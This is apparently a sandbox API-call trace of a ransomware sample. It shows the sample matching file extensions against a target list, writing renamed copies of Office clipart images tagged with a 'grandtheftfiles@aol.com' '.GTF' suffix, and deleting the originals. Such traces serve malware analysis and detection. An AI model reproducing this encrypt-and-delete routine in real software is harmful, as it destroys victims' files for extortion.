	[0158.836] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.837] lstrlenW (lpString=".zip") returned 4
	[0158.837] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.837] lstrlenW (lpString=".rar") returned 4
	[0158.837] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.837] lstrlenW (lpString=".bz2") returned 4
	[0158.837] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.837] lstrlenW (lpString=".7z") returned 3
	[0158.837] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.837] lstrlenW (lpString=".dbf") returned 4
	[0158.837] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.837] lstrlenW (lpString=".1cd") returned 4
	[0158.837] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0158.837] lstrlenW (lpString=".jpg") returned 4
	[0158.837] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.837] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0158.837] lstrlenW (lpString="J0099189.JPG") returned 12
	[0158.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0158.838] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8076) returned 1
	[0158.838] CloseHandle (hObject=0x4a0) returned 1
	[0158.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220
	[0158.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0158.838] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.838] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0158.839] GetLastError () returned 0x0
	[0158.839] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1f8c, lpOverlapped=0x0) returned 1
	[0158.841] WriteFile (in: hFile=0x494, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0158.842] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.843] WriteFile (in: hFile=0x494, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.843] SetEndOfFile (hFile=0x494) returned 1
	[0158.843] CloseHandle (hObject=0x494) returned 1
	[0158.843] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.843] SetEndOfFile (hFile=0x4a0) returned 1
	[0158.845] CloseHandle (hObject=0x4a0) returned 1
	[0158.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1
	[0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.847] lstrlenW (lpString=".doc") returned 4
	[0158.847] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.847] lstrlenW (lpString=".docx") returned 5
	[0158.847] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0158.847] lstrlenW (lpString=".pdf") returned 4
	[0158.847] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.847] lstrlenW (lpString=".xls") returned 4
	[0158.847] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.847] lstrlenW (lpString=".xlsx") returned 5
	[0158.847] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0158.847] lstrlenW (lpString=".ppt") returned 4
	[0158.847] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.847] lstrlenW (lpString=".zip") returned 4
	[0158.847] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.847] lstrlenW (lpString=".rar") returned 4
	[0158.847] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.847] lstrlenW (lpString=".bz2") returned 4
	[0158.847] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.847] lstrlenW (lpString=".7z") returned 3
	[0158.847] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.847] lstrlenW (lpString=".dbf") returned 4
	[0158.847] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.847] lstrlenW (lpString=".1cd") returned 4
	[0158.847] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString=".jpg") returned 4
	[0158.848] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString=".doc") returned 4
	[0158.848] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.848] lstrlenW (lpString=".docx") returned 5
	[0158.848] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0158.848] lstrlenW (lpString=".pdf") returned 4
	[0158.848] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.848] lstrlenW (lpString=".xls") returned 4
	[0158.848] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.848] lstrlenW (lpString=".xlsx") returned 5
	[0158.848] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0158.848] lstrlenW (lpString=".ppt") returned 4
	[0158.848] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString=".zip") returned 4
	[0158.848] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.848] lstrlenW (lpString=".rar") returned 4
	[0158.848] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.848] lstrlenW (lpString=".bz2") returned 4
	[0158.848] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.848] lstrlenW (lpString=".7z") returned 3
	[0158.848] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString=".dbf") returned 4
	[0158.848] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString=".1cd") returned 4
	[0158.848] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0158.848] lstrlenW (lpString=".jpg") returned 4
	[0158.849] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.849] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0158.849] lstrlenW (lpString="J0099190.JPG") returned 12
	[0158.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0158.850] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=43892) returned 1
	[0158.850] CloseHandle (hObject=0x4a0) returned 1
	[0158.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220
	[0158.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0158.851] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.851] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0158.851] GetLastError () returned 0x0
	[0158.851] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xab74, lpOverlapped=0x0) returned 1
	[0158.854] WriteFile (in: hFile=0x494, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xab80, lpOverlapped=0x0) returned 1
	[0158.856] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.856] WriteFile (in: hFile=0x494, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.856] SetEndOfFile (hFile=0x494) returned 1
	[0158.857] CloseHandle (hObject=0x494) returned 1
	[0158.857] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.857] SetEndOfFile (hFile=0x4a0) returned 1
	[0158.862] CloseHandle (hObject=0x4a0) returned 1
	[0158.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1
	[0158.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0158.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0158.864] lstrlenW (lpString=".doc") returned 4
	[0158.864] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.864] lstrlenW (lpString=".docx") returned 5
	[0158.864] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0158.864] lstrlenW (lpString=".pdf") returned 4
	[0158.864] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.864] lstrlenW (lpString=".xls") returned 4
	[0159.042] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0159.042] lstrlenW (lpString=".xlsx") returned 5
	[0159.042] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0159.042] lstrlenW (lpString=".ppt") returned 4
	[0159.042] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0159.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.042] lstrlenW (lpString=".zip") returned 4
	[0159.042] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0159.042] lstrlenW (lpString=".rar") returned 4
	[0159.042] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0159.042] lstrlenW (lpString=".bz2") returned 4
	[0159.042] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0159.042] lstrlenW (lpString=".7z") returned 3
	[0159.042] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0159.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.042] lstrlenW (lpString=".dbf") returned 4
	[0159.042] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0159.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".1cd") returned 4
	[0159.043] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".jpg") returned 4
	[0159.043] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".doc") returned 4
	[0159.043] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0159.043] lstrlenW (lpString=".docx") returned 5
	[0159.043] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0159.043] lstrlenW (lpString=".pdf") returned 4
	[0159.043] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0159.043] lstrlenW (lpString=".xls") returned 4
	[0159.043] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0159.043] lstrlenW (lpString=".xlsx") returned 5
	[0159.043] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0159.043] lstrlenW (lpString=".ppt") returned 4
	[0159.043] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".zip") returned 4
	[0159.043] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0159.043] lstrlenW (lpString=".rar") returned 4
	[0159.043] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0159.043] lstrlenW (lpString=".bz2") returned 4
	[0159.043] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0159.043] lstrlenW (lpString=".7z") returned 3
	[0159.043] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".dbf") returned 4
	[0159.043] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".1cd") returned 4
	[0159.043] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0159.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0159.043] lstrlenW (lpString=".jpg") returned 4
	[0159.043] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0159.044] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0159.044] lstrlenW (lpString="J0099194.GIF") returned 12
	[0159.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0159.198] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=25265) returned 1
	[0159.198] CloseHandle (hObject=0x4ac) returned 1
	[0159.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220
	[0159.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0159.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0159.782] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.790] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0161.302] GetLastError () returned 0x0
	[0161.302] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x62b1, lpOverlapped=0x0) returned 1
	[0161.305] WriteFile (in: hFile=0x510, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x62c0, lpOverlapped=0x0) returned 1
	[0161.307] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.307] WriteFile (in: hFile=0x510, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.307] SetEndOfFile (hFile=0x510) returned 1
	[0161.307] CloseHandle (hObject=0x510) returned 1
	[0161.307] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.307] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.310] CloseHandle (hObject=0x4b0) returned 1
	[0161.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1
	[0161.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.311] lstrlenW (lpString=".doc") returned 4
	[0161.311] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.311] lstrlenW (lpString=".docx") returned 5
	[0161.311] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0161.311] lstrlenW (lpString=".pdf") returned 4
	[0161.311] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.311] lstrlenW (lpString=".xls") returned 4
	[0161.311] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.311] lstrlenW (lpString=".xlsx") returned 5
	[0161.311] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0161.311] lstrlenW (lpString=".ppt") returned 4
	[0161.311] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.311] lstrlenW (lpString=".zip") returned 4
	[0161.311] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.311] lstrlenW (lpString=".rar") returned 4
	[0161.311] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.311] lstrlenW (lpString=".bz2") returned 4
	[0161.311] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.311] lstrlenW (lpString=".7z") returned 3
	[0161.311] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.311] lstrlenW (lpString=".dbf") returned 4
	[0161.311] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString=".1cd") returned 4
	[0161.312] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString=".jpg") returned 4
	[0161.312] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString=".doc") returned 4
	[0161.312] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.312] lstrlenW (lpString=".docx") returned 5
	[0161.312] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0161.312] lstrlenW (lpString=".pdf") returned 4
	[0161.312] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.312] lstrlenW (lpString=".xls") returned 4
	[0161.312] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.312] lstrlenW (lpString=".xlsx") returned 5
	[0161.312] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
